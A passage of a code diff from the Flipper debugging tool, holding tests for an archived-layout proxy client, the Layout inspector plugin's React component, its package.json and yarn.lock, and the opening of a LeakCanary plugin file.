isMatch: false,
hasChildren: true,
children: [
{
id: 'child0',
isMatch: true,
hasChildren: true,
children: [
{
id: 'child0_child0',
isMatch: true,
hasChildren: false,
children: [],
element: state.elements['child0_child0'],
axElement: null,
},
{
id: 'child0_child1',
isMatch: true,
hasChildren: false,
children: [],
element: state.elements['child0_child1'],
axElement: null,
},
],
element: state.elements['child0'],
axElement: null,
},
{
id: 'child1',
isMatch: false,
hasChildren: true,
children: [
{
id: 'child1_child0',
isMatch: true,
hasChildren: false,
children: [],
element: state.elements['child1_child0'],
axElement: null,
},
],
element: state.elements['child1'],
axElement: null,
},
],
element: state.elements['root'],
axElement: null,
};
expect(searchResult).toEqual(expectedSearchResult);
});
test('test the searchNode for non existent query', async () => {
const searchResult: SearchResultTree | null = await searchNodes(
state.elements['root'],
'Unknown query',
false,
state,
);
expect(searchResult).toBeNull();
});
test('test the call method with getRoot', async () => {
const proxyClient = new ProxyArchiveClient(state);
const root: Element = await proxyClient.call('getRoot');
expect(root).toEqual(state.elements['root']);
});
test('test the call method with getAXRoot', async () => {
state = constructPersistedState(true);
populateChildren(state, true);
const proxyClient = new ProxyArchiveClient(state);
const root: Element = await proxyClient.call('getAXRoot');
expect(root).toEqual(state.AXelements['root']);
});
test('test the call method with getNodes', async () => {
const proxyClient = new ProxyArchiveClient(state);
const nodes: Array<Element> = await proxyClient.call('getNodes', {
ids: ['child0_child1', 'child1_child0'],
});
expect(nodes).toEqual({
elements: [
{
id: 'child0_child1',
name: 'child0_child1 view',
expanded: false,
children: [],
attributes: [],
data: {},
decoration: 'decoration',
extraInfo: {},
},
{
id: 'child1_child0',
name: 'child1_child0 view',
expanded: false,
children: [],
attributes: [],
data: {},
decoration: 'decoration',
extraInfo: {},
},
],
});
});
test('test the call method with getAXNodes', async () => {
state = constructPersistedState(true);
populateChildren(state, true);
const proxyClient = new ProxyArchiveClient(state);
const nodes: Array<Element> = await proxyClient.call('getAXNodes', {
ids: ['child0_child1', 'child1_child0'],
});
expect(nodes).toEqual({
elements: [
{
id: 'child0_child1',
name: 'child0_child1 view',
expanded: false,
children: [],
attributes: [],
data: {},
decoration: 'decoration',
extraInfo: {},
},
{
id: 'child1_child0',
name: 'child1_child0 view',
expanded: false,
children: [],
attributes: [],
data: {},
decoration: 'decoration',
extraInfo: {},
},
],
});
});
test('test different methods of calls with no params', async () => {
const proxyClient = new ProxyArchiveClient(state);
await expect(proxyClient.call('getNodes')).rejects.toThrow(
new Error('Called getNodes with no params'),
);
await expect(proxyClient.call('getAXNodes')).rejects.toThrow(
new Error('Called getAXNodes with no params'),
);
// let result: Error = await proxyClient.call('getSearchResults');
await expect(proxyClient.call('getSearchResults')).rejects.toThrow(
new Error('Called getSearchResults with no params'),
);
await expect(
proxyClient.call('getSearchResults', {
query: 'random',
axEnabled: true,
}),
).rejects.toThrow(new Error('rootAXElement is undefined'));
await expect(
proxyClient.call('getSearchResults', {
axEnabled: false,
}),
).rejects.toThrow(
new Error('query is not passed as a params to getSearchResults'),
);
});
test('test call method isConsoleEnabled', () => {
const proxyClient = new ProxyArchiveClient(state);
return expect(proxyClient.call('isConsoleEnabled')).resolves.toBe(false);
});

View File

@@ -0,0 +1,451 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import {
ElementID,
Element,
ElementSearchResultSet,
PluginClient,
FlexColumn,
FlexRow,
FlipperPlugin,
Toolbar,
DetailSidebar,
VerticalRule,
Button,
GK,
Idler,
Text,
styled,
colors,
SupportRequestFormV2,
constants,
ReduxState,
ArchivedDevice,
} from 'flipper';
import Inspector from './Inspector';
import ToolbarIcon from './ToolbarIcon';
import InspectorSidebar from './InspectorSidebar';
import Search from './Search';
import ProxyArchiveClient from './ProxyArchiveClient';
import React from 'react';
import {VisualizerPortal} from 'flipper';
import {getFlipperMediaCDN} from 'flipper';
type State = {
init: boolean;
inTargetMode: boolean;
inAXMode: boolean;
inAlignmentMode: boolean;
selectedElement: ElementID | null | undefined;
selectedAXElement: ElementID | null | undefined;
highlightedElement: ElementID | null;
searchResults: ElementSearchResultSet | null;
visualizerWindow: Window | null;
visualizerScreenshot: string | null;
screenDimensions: {width: number; height: number} | null;
};
export type ElementMap = {[key: string]: Element};
export type PersistedState = {
rootElement: ElementID | null;
rootAXElement: ElementID | null;
elements: ElementMap;
AXelements: ElementMap;
};
const FlipperADBarContainer = styled(FlexRow)({
backgroundColor: colors.warningTint,
flexGrow: 1,
justifyContent: 'center',
alignItems: 'center',
borderWidth: 2,
});
const FlipperADText = styled(Text)({
padding: 10,
});
const FlipperADButton = styled(Button)({
margin: 10,
});
export default class Layout extends FlipperPlugin<State, any, PersistedState> {
FlipperADBar() {
return (
<FlipperADBarContainer>
<FlipperADText>
You can now submit support requests to Litho Group from Flipper. This
automatically attaches critical information for reproducing your issue
with just a single click.
</FlipperADText>
<FlipperADButton
type="primary"
onClick={() => {
this.props.setStaticView(SupportRequestFormV2);
}}>
Try it out
</FlipperADButton>
</FlipperADBarContainer>
);
}
static exportPersistedState = async (
callClient: (
method: 'getAllNodes',
) => Promise<{
allNodes: PersistedState;
}>,
persistedState: PersistedState | undefined,
store: ReduxState | undefined,
): Promise<PersistedState | undefined> => {
if (!store) {
return persistedState;
}
const {allNodes} = await callClient('getAllNodes');
return allNodes;
};
static serializePersistedState: (
persistedState: PersistedState,
statusUpdate?: (msg: string) => void,
idler?: Idler,
) => Promise<string> = (
persistedState: PersistedState,
statusUpdate?: (msg: string) => void,
_idler?: Idler,
) => {
statusUpdate && statusUpdate('Serializing Inspector Plugin...');
return Promise.resolve(JSON.stringify(persistedState));
};
static deserializePersistedState: (
serializedString: string,
) => PersistedState = (serializedString: string) => {
return JSON.parse(serializedString);
};
teardown() {
this.state.visualizerWindow?.close();
}
static defaultPersistedState = {
rootElement: null,
rootAXElement: null,
elements: {},
AXelements: {},
};
state: State = {
init: false,
inTargetMode: false,
inAXMode: false,
inAlignmentMode: false,
selectedElement: null,
selectedAXElement: null,
searchResults: null,
visualizerWindow: null,
highlightedElement: null,
visualizerScreenshot: null,
screenDimensions: null,
};
init() {
if (!this.props.persistedState) {
// If the selected plugin from the previous session was layout, then while importing the flipper trace, the redux store doesn't get updated in the first render, due to which the plugin crashes, as it has no persisted state
this.props.setPersistedState(this.constructor.defaultPersistedState);
}
// persist searchActive state when moving between plugins to prevent multiple
// TouchOverlayViews since we can't edit the view heirarchy in onDisconnect
this.client.call('isSearchActive').then(({isSearchActive}) => {
this.setState({inTargetMode: isSearchActive});
});
// disable target mode after
this.client.subscribe('select', () => {
if (this.state.inTargetMode) {
this.onToggleTargetMode();
}
});
if (this.props.isArchivedDevice) {
this.getDevice()
.then(d => {
const handle = (d as ArchivedDevice).getArchivedScreenshotHandle();
if (!handle) {
throw new Error('No screenshot attached.');
}
return handle;
})
.then(handle => getFlipperMediaCDN(handle, 'Image'))
.then(url => this.setState({visualizerScreenshot: url}))
.catch(_ => {
// Not all exports have screenshots. This is ok.
});
}
this.setState({
init: true,
selectedElement: this.props.deepLinkPayload
? this.props.deepLinkPayload
: null,
});
}
onToggleTargetMode = () => {
const inTargetMode = !this.state.inTargetMode;
this.setState({inTargetMode});
this.client.send('setSearchActive', {active: inTargetMode});
};
onToggleAXMode = () => {
this.setState({inAXMode: !this.state.inAXMode});
};
getClient(): PluginClient {
return this.props.isArchivedDevice
? new ProxyArchiveClient(this.props.persistedState, (id: string) => {
this.setState({highlightedElement: id});
})
: this.client;
}
onToggleAlignmentMode = () => {
if (this.state.selectedElement) {
this.client.send('setHighlighted', {
id: this.state.selectedElement,
inAlignmentMode: !this.state.inAlignmentMode,
});
}
this.setState({inAlignmentMode: !this.state.inAlignmentMode});
};
onToggleVisualizer = () => {
if (this.state.visualizerWindow) {
this.state.visualizerWindow.close();
} else {
const screenDimensions = this.state.screenDimensions;
if (!screenDimensions) {
return;
}
const visualizerWindow = window.open(
'',
'visualizer',
`width=${screenDimensions.width},height=${screenDimensions.height}`,
);
if (!visualizerWindow) {
return;
}
visualizerWindow.onunload = () => {
this.setState({visualizerWindow: null});
};
visualizerWindow.onresize = () => {
this.setState({visualizerWindow: visualizerWindow});
};
visualizerWindow.onload = () => {
this.setState({visualizerWindow: visualizerWindow});
};
}
};
onDataValueChanged = (path: Array<string>, value: any) => {
const id = this.state.inAXMode
? this.state.selectedAXElement
: this.state.selectedElement;
this.client.call('setData', {
id,
path,
value,
ax: this.state.inAXMode,
});
};
showFlipperADBar: boolean = false;
getScreenDimensions(): {width: number; height: number} | null {
if (this.state.screenDimensions) {
return this.state.screenDimensions;
}
requestIdleCallback(() => {
// Walk the layout tree from root node down until a node with width and height is found.
// Assume these are the dimensions of the screen.
let elementId = this.props.persistedState.rootElement;
while (elementId != null) {
const element = this.props.persistedState.elements[elementId];
if (!element) {
return null;
}
if (element.data.View?.width) {
break;
}
elementId = element.children[0];
}
if (elementId == null) {
return null;
}
const element = this.props.persistedState.elements[elementId];
if (
element == null ||
typeof element.data.View?.width != 'object' ||
typeof element.data.View?.height != 'object'
) {
return null;
}
const screenDimensions = {
width: element.data.View?.width.value,
height: element.data.View?.height.value,
};
this.setState({screenDimensions});
});
return null;
}
render() {
const inspectorProps = {
client: this.getClient(),
inAlignmentMode: this.state.inAlignmentMode,
selectedElement: this.state.selectedElement,
selectedAXElement: this.state.selectedAXElement,
setPersistedState: this.props.setPersistedState,
persistedState: this.props.persistedState,
onDataValueChanged: this.onDataValueChanged,
searchResults: this.state.searchResults,
};
let element: Element | null = null;
const {selectedAXElement, selectedElement, inAXMode} = this.state;
if (inAXMode && selectedAXElement) {
element = this.props.persistedState.AXelements[selectedAXElement];
} else if (selectedElement) {
element = this.props.persistedState.elements[selectedElement];
}
if (!constants.IS_PUBLIC_BUILD && !this.showFlipperADBar) {
this.showFlipperADBar = element != null && element.decoration === 'litho';
}
const inspector = (
<Inspector
{...inspectorProps}
onSelect={selectedElement => this.setState({selectedElement})}
showsSidebar={!this.state.inAXMode}
/>
);
const axInspector = this.state.inAXMode && (
<Inspector
{...inspectorProps}
onSelect={selectedAXElement => this.setState({selectedAXElement})}
showsSidebar={true}
ax
/>
);
const divider = this.state.inAXMode && <VerticalRule />;
const showAnalyzeYogaPerformanceButton = GK.get('flipper_yogaperformance');
const screenDimensions = this.getScreenDimensions();
return (
<FlexColumn grow={true}>
{this.state.init && (
<>
<Toolbar>
{!this.props.isArchivedDevice && (
<ToolbarIcon
onClick={this.onToggleTargetMode}
title="Toggle target mode"
icon="target"
active={this.state.inTargetMode}
/>
)}
{this.realClient.query.os === 'Android' && (
<ToolbarIcon
onClick={this.onToggleAXMode}
title="Toggle to see the accessibility hierarchy"
icon="accessibility"
active={this.state.inAXMode}
/>
)}
{!this.props.isArchivedDevice && (
<ToolbarIcon
onClick={this.onToggleAlignmentMode}
title="Toggle AlignmentMode to show alignment lines"
icon="borders"
active={this.state.inAlignmentMode}
/>
)}
{this.props.isArchivedDevice &&
this.state.visualizerScreenshot && (
<ToolbarIcon
onClick={this.onToggleVisualizer}
title="Toggle visual recreation of layout"
icon="mobile"
active={!!this.state.visualizerWindow}
/>
)}
<Search
client={this.getClient()}
setPersistedState={this.props.setPersistedState}
persistedState={this.props.persistedState}
onSearchResults={searchResults =>
this.setState({searchResults})
}
inAXMode={this.state.inAXMode}
initialQuery={this.props.deepLinkPayload}
/>
</Toolbar>
<FlexRow grow={true}>
{inspector}
{divider}
{axInspector}
</FlexRow>
{this.showFlipperADBar && this.FlipperADBar()}
<DetailSidebar>
<InspectorSidebar
client={this.getClient()}
realClient={this.realClient}
element={element}
onValueChanged={this.onDataValueChanged}
logger={this.props.logger}
/>
{showAnalyzeYogaPerformanceButton &&
element &&
element.decoration === 'litho' ? (
<Button
icon={'share-external'}
compact={true}
style={{marginTop: 8, marginRight: 12}}
onClick={() => {
this.props.selectPlugin('YogaPerformance', element!.id);
}}>
Analyze Yoga Performance
</Button>
) : null}
</DetailSidebar>
{this.state.visualizerWindow &&
screenDimensions &&
(this.state.visualizerScreenshot ? (
<VisualizerPortal
container={this.state.visualizerWindow.document.body}
elements={this.props.persistedState.elements}
highlightedElement={this.state.highlightedElement}
screenshotURL={this.state.visualizerScreenshot}
screenDimensions={screenDimensions}
/>
) : (
'Loading...'
))}
</>
)}
</FlexColumn>
);
}
}

View File

@@ -0,0 +1,24 @@
{
"name": "Inspector",
"version": "1.0.0",
"main": "index.tsx",
"license": "MIT",
"keywords": [
"flipper-plugin"
],
"dependencies": {
"deep-equal": "^2.0.1",
"lodash": "^4.17.15",
"lodash.clonedeep": "^4.5.0",
"lodash.debounce": "^4.0.8"
},
"title": "Layout",
"icon": "target",
"bugs": {
"email": "oncall+flipper@xmail.facebook.com",
"url": "https://fb.workplace.com/groups/flippersupport/"
},
"devDependencies": {
"@types/lodash.clonedeep": "^4.5.6"
}
}

View File

@@ -0,0 +1,279 @@
# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
# yarn lockfile v1
"@types/lodash.clonedeep@^4.5.6":
version "4.5.6"
resolved "https://registry.yarnpkg.com/@types/lodash.clonedeep/-/lodash.clonedeep-4.5.6.tgz#3b6c40a0affe0799a2ce823b440a6cf33571d32b"
integrity sha512-cE1jYr2dEg1wBImvXlNtp0xDoS79rfEdGozQVgliDZj1uERH4k+rmEMTudP9b4VQ8O6nRb5gPqft0QzEQGMQgA==
dependencies:
"@types/lodash" "*"
"@types/lodash@*":
version "4.14.138"
resolved "https://registry.yarnpkg.com/@types/lodash/-/lodash-4.14.138.tgz#34f52640d7358230308344e579c15b378d91989e"
integrity sha512-A4uJgHz4hakwNBdHNPdxOTkYmXNgmUAKLbXZ7PKGslgeV0Mb8P3BlbYfPovExek1qnod4pDfRbxuzcVs3dlFLg==
deep-equal@^2.0.1:
version "2.0.1"
resolved "https://registry.yarnpkg.com/deep-equal/-/deep-equal-2.0.1.tgz#fc12bbd6850e93212f21344748682ccc5a8813cf"
integrity sha512-7Et6r6XfNW61CPPCIYfm1YPGSmh6+CliYeL4km7GWJcpX5LTAflGF8drLLR+MZX+2P3NZfAfSduutBbSWqER4g==
dependencies:
es-abstract "^1.16.3"
es-get-iterator "^1.0.1"
is-arguments "^1.0.4"
is-date-object "^1.0.1"
is-regex "^1.0.4"
isarray "^2.0.5"
object-is "^1.0.1"
object-keys "^1.1.1"
regexp.prototype.flags "^1.2.0"
side-channel "^1.0.1"
which-boxed-primitive "^1.0.1"
which-collection "^1.0.0"
define-properties@^1.1.2, define-properties@^1.1.3:
version "1.1.3"
resolved "https://registry.yarnpkg.com/define-properties/-/define-properties-1.1.3.tgz#cf88da6cbee26fe6db7094f61d870cbd84cee9f1"
integrity sha512-3MqfYKj2lLzdMSf8ZIZE/V+Zuy+BgD6f164e8K2w7dgnpKArBDerGYpM46IYYcjnkdPNMjPk9A6VFB8+3SKlXQ==
dependencies:
object-keys "^1.0.12"
es-abstract@^1.16.2, es-abstract@^1.16.3:
version "1.16.3"
resolved "https://registry.yarnpkg.com/es-abstract/-/es-abstract-1.16.3.tgz#52490d978f96ff9f89ec15b5cf244304a5bca161"
integrity sha512-WtY7Fx5LiOnSYgF5eg/1T+GONaGmpvpPdCpSnYij+U2gDTL0UPfWrhDw7b2IYb+9NQJsYpCA0wOQvZfsd6YwRw==
dependencies:
es-to-primitive "^1.2.1"
function-bind "^1.1.1"
has "^1.0.3"
has-symbols "^1.0.1"
is-callable "^1.1.4"
is-regex "^1.0.4"
object-inspect "^1.7.0"
object-keys "^1.1.1"
string.prototype.trimleft "^2.1.0"
string.prototype.trimright "^2.1.0"
es-abstract@^1.17.0-next.1:
version "1.17.0-next.1"
resolved "https://registry.yarnpkg.com/es-abstract/-/es-abstract-1.17.0-next.1.tgz#94acc93e20b05a6e96dacb5ab2f1cb3a81fc2172"
integrity sha512-7MmGr03N7Rnuid6+wyhD9sHNE2n4tFSwExnU2lQl3lIo2ShXWGePY80zYaoMOmILWv57H0amMjZGHNzzGG70Rw==
dependencies:
es-to-primitive "^1.2.1"
function-bind "^1.1.1"
has "^1.0.3"
has-symbols "^1.0.1"
is-callable "^1.1.4"
is-regex "^1.0.4"
object-inspect "^1.7.0"
object-keys "^1.1.1"
object.assign "^4.1.0"
string.prototype.trimleft "^2.1.0"
string.prototype.trimright "^2.1.0"
es-get-iterator@^1.0.1:
version "1.0.2"
resolved "https://registry.yarnpkg.com/es-get-iterator/-/es-get-iterator-1.0.2.tgz#bc99065aa8c98ce52bc86ab282dedbba4120e0b3"
integrity sha512-ZHb4fuNK3HKHEOvDGyHPKf5cSWh/OvAMskeM/+21NMnTuvqFvz8uHatolu+7Kf6b6oK9C+3Uo1T37pSGPWv0MA==
dependencies:
es-abstract "^1.17.0-next.1"
has-symbols "^1.0.1"
is-arguments "^1.0.4"
is-map "^2.0.0"
is-set "^2.0.0"
is-string "^1.0.4"
isarray "^2.0.5"
es-to-primitive@^1.2.1:
version "1.2.1"
resolved "https://registry.yarnpkg.com/es-to-primitive/-/es-to-primitive-1.2.1.tgz#e55cd4c9cdc188bcefb03b366c736323fc5c898a"
integrity sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA==
dependencies:
is-callable "^1.1.4"
is-date-object "^1.0.1"
is-symbol "^1.0.2"
function-bind@^1.1.1:
version "1.1.1"
resolved "https://registry.yarnpkg.com/function-bind/-/function-bind-1.1.1.tgz#a56899d3ea3c9bab874bb9773b7c5ede92f4895d"
integrity sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==
has-symbols@^1.0.0, has-symbols@^1.0.1:
version "1.0.1"
resolved "https://registry.yarnpkg.com/has-symbols/-/has-symbols-1.0.1.tgz#9f5214758a44196c406d9bd76cebf81ec2dd31e8"
integrity sha512-PLcsoqu++dmEIZB+6totNFKq/7Do+Z0u4oT0zKOJNl3lYK6vGwwu2hjHs+68OEZbTjiUE9bgOABXbP/GvrS0Kg==
has@^1.0.3:
version "1.0.3"
resolved "https://registry.yarnpkg.com/has/-/has-1.0.3.tgz#722d7cbfc1f6aa8241f16dd814e011e1f41e8796"
integrity sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==
dependencies:
function-bind "^1.1.1"
is-arguments@^1.0.4:
version "1.0.4"
resolved "https://registry.yarnpkg.com/is-arguments/-/is-arguments-1.0.4.tgz#3faf966c7cba0ff437fb31f6250082fcf0448cf3"
integrity sha512-xPh0Rmt8NE65sNzvyUmWgI1tz3mKq74lGA0mL8LYZcoIzKOzDh6HmrYm3d18k60nHerC8A9Km8kYu87zfSFnLA==
is-bigint@^1.0.0:
version "1.0.0"
resolved "https://registry.yarnpkg.com/is-bigint/-/is-bigint-1.0.0.tgz#73da8c33208d00f130e9b5e15d23eac9215601c4"
integrity sha512-t5mGUXC/xRheCK431ylNiSkGGpBp8bHENBcENTkDT6ppwPzEVxNGZRvgvmOEfbWkFhA7D2GEuE2mmQTr78sl2g==
is-boolean-object@^1.0.0:
version "1.0.0"
resolved "https://registry.yarnpkg.com/is-boolean-object/-/is-boolean-object-1.0.0.tgz#98f8b28030684219a95f375cfbd88ce3405dff93"
integrity sha1-mPiygDBoQhmpXzdc+9iM40Bd/5M=
is-callable@^1.1.4:
version "1.1.4"
resolved "https://registry.yarnpkg.com/is-callable/-/is-callable-1.1.4.tgz#1e1adf219e1eeb684d691f9d6a05ff0d30a24d75"
integrity sha512-r5p9sxJjYnArLjObpjA4xu5EKI3CuKHkJXMhT7kwbpUyIFD1n5PMAsoPvWnvtZiNz7LjkYDRZhd7FlI0eMijEA==
is-date-object@^1.0.1:
version "1.0.1"
resolved "https://registry.yarnpkg.com/is-date-object/-/is-date-object-1.0.1.tgz#9aa20eb6aeebbff77fbd33e74ca01b33581d3a16"
integrity sha1-mqIOtq7rv/d/vTPnTKAbM1gdOhY=
is-map@^2.0.0:
version "2.0.1"
resolved "https://registry.yarnpkg.com/is-map/-/is-map-2.0.1.tgz#520dafc4307bb8ebc33b813de5ce7c9400d644a1"
integrity sha512-T/S49scO8plUiAOA2DBTBG3JHpn1yiw0kRp6dgiZ0v2/6twi5eiB0rHtHFH9ZIrvlWc6+4O+m4zg5+Z833aXgw==
is-number-object@^1.0.3:
version "1.0.3"
resolved "https://registry.yarnpkg.com/is-number-object/-/is-number-object-1.0.3.tgz#f265ab89a9f445034ef6aff15a8f00b00f551799"
integrity sha1-8mWrian0RQNO9q/xWo8AsA9VF5k=
is-regex@^1.0.4:
version "1.0.5"
resolved "https://registry.yarnpkg.com/is-regex/-/is-regex-1.0.5.tgz#39d589a358bf18967f726967120b8fc1aed74eae"
integrity sha512-vlKW17SNq44owv5AQR3Cq0bQPEb8+kF3UKZ2fiZNOWtztYE5i0CzCZxFDwO58qAOWtxdBRVO/V5Qin1wjCqFYQ==
dependencies:
has "^1.0.3"
is-set@^2.0.0:
version "2.0.1"
resolved "https://registry.yarnpkg.com/is-set/-/is-set-2.0.1.tgz#d1604afdab1724986d30091575f54945da7e5f43"
integrity sha512-eJEzOtVyenDs1TMzSQ3kU3K+E0GUS9sno+F0OBT97xsgcJsF9nXMBtkT9/kut5JEpM7oL7X/0qxR17K3mcwIAA==
is-string@^1.0.4:
version "1.0.4"
resolved "https://registry.yarnpkg.com/is-string/-/is-string-1.0.4.tgz#cc3a9b69857d621e963725a24caeec873b826e64"
integrity sha1-zDqbaYV9Yh6WNyWiTK7shzuCbmQ=
is-symbol@^1.0.2:
version "1.0.3"
resolved "https://registry.yarnpkg.com/is-symbol/-/is-symbol-1.0.3.tgz#38e1014b9e6329be0de9d24a414fd7441ec61937"
integrity sha512-OwijhaRSgqvhm/0ZdAcXNZt9lYdKFpcRDT5ULUuYXPoT794UNOdU+gpT6Rzo7b4V2HUl/op6GqY894AZwv9faQ==
dependencies:
has-symbols "^1.0.1"
is-weakmap@^2.0.0:
version "2.0.1"
resolved "https://registry.yarnpkg.com/is-weakmap/-/is-weakmap-2.0.1.tgz#5008b59bdc43b698201d18f62b37b2ca243e8cf2"
integrity sha512-NSBR4kH5oVj1Uwvv970ruUkCV7O1mzgVFO4/rev2cLRda9Tm9HrL70ZPut4rOHgY0FNrUu9BCbXA2sdQ+x0chA==
is-weakset@^2.0.0:
version "2.0.1"
resolved "https://registry.yarnpkg.com/is-weakset/-/is-weakset-2.0.1.tgz#e9a0af88dbd751589f5e50d80f4c98b780884f83"
integrity sha512-pi4vhbhVHGLxohUw7PhGsueT4vRGFoXhP7+RGN0jKIv9+8PWYCQTqtADngrxOm2g46hoH0+g8uZZBzMrvVGDmw==
isarray@^2.0.5:
version "2.0.5"
resolved "https://registry.yarnpkg.com/isarray/-/isarray-2.0.5.tgz#8af1e4c1221244cc62459faf38940d4e644a5723"
integrity sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==
lodash.clonedeep@^4.5.0:
version "4.5.0"
resolved "https://registry.yarnpkg.com/lodash.clonedeep/-/lodash.clonedeep-4.5.0.tgz#e23f3f9c4f8fbdde872529c1071857a086e5ccef"
integrity sha1-4j8/nE+Pvd6HJSnBBxhXoIblzO8=
lodash.debounce@^4.0.8:
version "4.0.8"
resolved "https://registry.yarnpkg.com/lodash.debounce/-/lodash.debounce-4.0.8.tgz#82d79bff30a67c4005ffd5e2515300ad9ca4d7af"
integrity sha1-gteb/zCmfEAF/9XiUVMArZyk168=
lodash@^4.17.15:
version "4.17.15"
resolved "https://registry.yarnpkg.com/lodash/-/lodash-4.17.15.tgz#b447f6670a0455bbfeedd11392eff330ea097548"
integrity sha512-8xOcRHvCjnocdS5cpwXQXVzmmh5e5+saE2QGoeQmbKmRS6J3VQppPOIt0MnmE+4xlZoumy0GPG0D0MVIQbNA1A==
object-inspect@^1.7.0:
version "1.7.0"
resolved "https://registry.yarnpkg.com/object-inspect/-/object-inspect-1.7.0.tgz#f4f6bd181ad77f006b5ece60bd0b6f398ff74a67"
integrity sha512-a7pEHdh1xKIAgTySUGgLMx/xwDZskN1Ud6egYYN3EdRW4ZMPNEDUTF+hwy2LUC+Bl+SyLXANnwz/jyh/qutKUw==
object-is@^1.0.1:
version "1.0.2"
resolved "https://registry.yarnpkg.com/object-is/-/object-is-1.0.2.tgz#6b80eb84fe451498f65007982f035a5b445edec4"
integrity sha512-Epah+btZd5wrrfjkJZq1AOB9O6OxUQto45hzFd7lXGrpHPGE0W1k+426yrZV+k6NJOzLNNW/nVsmZdIWsAqoOQ==
object-keys@^1.0.11, object-keys@^1.0.12, object-keys@^1.1.1:
version "1.1.1"
resolved "https://registry.yarnpkg.com/object-keys/-/object-keys-1.1.1.tgz#1c47f272df277f3b1daf061677d9c82e2322c60e"
integrity sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==
object.assign@^4.1.0:
version "4.1.0"
resolved "https://registry.yarnpkg.com/object.assign/-/object.assign-4.1.0.tgz#968bf1100d7956bb3ca086f006f846b3bc4008da"
integrity sha512-exHJeq6kBKj58mqGyTQ9DFvrZC/eR6OwxzoM9YRoGBqrXYonaFyGiFMuc9VZrXf7DarreEwMpurG3dd+CNyW5w==
dependencies:
define-properties "^1.1.2"
function-bind "^1.1.1"
has-symbols "^1.0.0"
object-keys "^1.0.11"
regexp.prototype.flags@^1.2.0:
version "1.3.0"
resolved "https://registry.yarnpkg.com/regexp.prototype.flags/-/regexp.prototype.flags-1.3.0.tgz#7aba89b3c13a64509dabcf3ca8d9fbb9bdf5cb75"
integrity sha512-2+Q0C5g951OlYlJz6yu5/M33IcsESLlLfsyIaLJaG4FA2r4yP8MvVMJUUP/fVBkSpbbbZlS5gynbEWLipiiXiQ==
dependencies:
define-properties "^1.1.3"
es-abstract "^1.17.0-next.1"
side-channel@^1.0.1:
version "1.0.1"
resolved "https://registry.yarnpkg.com/side-channel/-/side-channel-1.0.1.tgz#4fb6c60e13bf4a69baf1b219c50b7feb87cf5c30"
integrity sha512-KhfWUIMFxTnJ1HTWiHhzPZL6CVZubPUFWcaIWY4Fc/551CazpDodWWTVTeJI8AjsC/JpH4fW6hmDa10Dnd4lRg==
dependencies:
es-abstract "^1.16.2"
object-inspect "^1.7.0"
string.prototype.trimleft@^2.1.0:
version "2.1.0"
resolved "https://registry.yarnpkg.com/string.prototype.trimleft/-/string.prototype.trimleft-2.1.0.tgz#6cc47f0d7eb8d62b0f3701611715a3954591d634"
integrity sha512-FJ6b7EgdKxxbDxc79cOlok6Afd++TTs5szo+zJTUyow3ycrRfJVE2pq3vcN53XexvKZu/DJMDfeI/qMiZTrjTw==
dependencies:
define-properties "^1.1.3"
function-bind "^1.1.1"
string.prototype.trimright@^2.1.0:
version "2.1.0"
resolved "https://registry.yarnpkg.com/string.prototype.trimright/-/string.prototype.trimright-2.1.0.tgz#669d164be9df9b6f7559fa8e89945b168a5a6c58"
integrity sha512-fXZTSV55dNBwv16uw+hh5jkghxSnc5oHq+5K/gXgizHwAvMetdAJlHqqoFC1FSDVPYWLkAKl2cxpUT41sV7nSg==
dependencies:
define-properties "^1.1.3"
function-bind "^1.1.1"
which-boxed-primitive@^1.0.1:
version "1.0.1"
resolved "https://registry.yarnpkg.com/which-boxed-primitive/-/which-boxed-primitive-1.0.1.tgz#cbe8f838ebe91ba2471bb69e9edbda67ab5a5ec1"
integrity sha512-7BT4TwISdDGBgaemWU0N0OU7FeAEJ9Oo2P1PHRm/FCWoEi2VLWC9b6xvxAA3C/NMpxg3HXVgi0sMmGbNUbNepQ==
dependencies:
is-bigint "^1.0.0"
is-boolean-object "^1.0.0"
is-number-object "^1.0.3"
is-string "^1.0.4"
is-symbol "^1.0.2"
which-collection@^1.0.0:
version "1.0.0"
resolved "https://registry.yarnpkg.com/which-collection/-/which-collection-1.0.0.tgz#303d38022473f4b7048b529b45f6c842d8814269"
integrity sha512-mG4RtFHE+17N2AxRNvBQ488oBjrhaOaI/G+soUaRJwdyDbu5zmqoAKPYBlY7Zd+QTwpfvInRLKo40feo2si1yA==
dependencies:
is-map "^2.0.0"
is-set "^2.0.0"
is-weakmap "^2.0.0"
is-weakset "^2.0.0"

View File

@@ -0,0 +1,232 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import React from 'react';
import {
Panel,
FlexRow,
ElementsInspector,
FlexColumn,
ManagedDataInspector,
Sidebar,
Toolbar,
Checkbox,
FlipperPlugin,
Button,
styled,
} from 'flipper';
import {Element} from 'flipper';
import {processLeaks} from './processLeakString';
type State = {
leaks: Leak[];
selectedIdx: number | null;
selectedEid: string | null;
showFullClassPaths: boolean;
leaksCount: number;
};
type LeakReport = {
leaks: string[];
};
export type Fields = {[key: string]: string};
export type Leak = {
title: string;
root: string;
elements: {[key: string]: Element};
elementsSimple: {[key: string]: Element};
instanceFields: {[key: string]: Fields};
staticFields: {[key: string]: Fields};
retainedSize: string;
};
const Window = styled(FlexRow)({
height: '100%',
flex: 1,
});
const ToolbarItem = styled(FlexRow)({
alignItems: 'center',
marginLeft: '8px',
});
export default class LeakCanary<PersistedState> extends FlipperPlugin<
State,
{type: 'LeakCanary'},
PersistedState
> {
state: State = {
leaks: [],
selectedIdx: null,
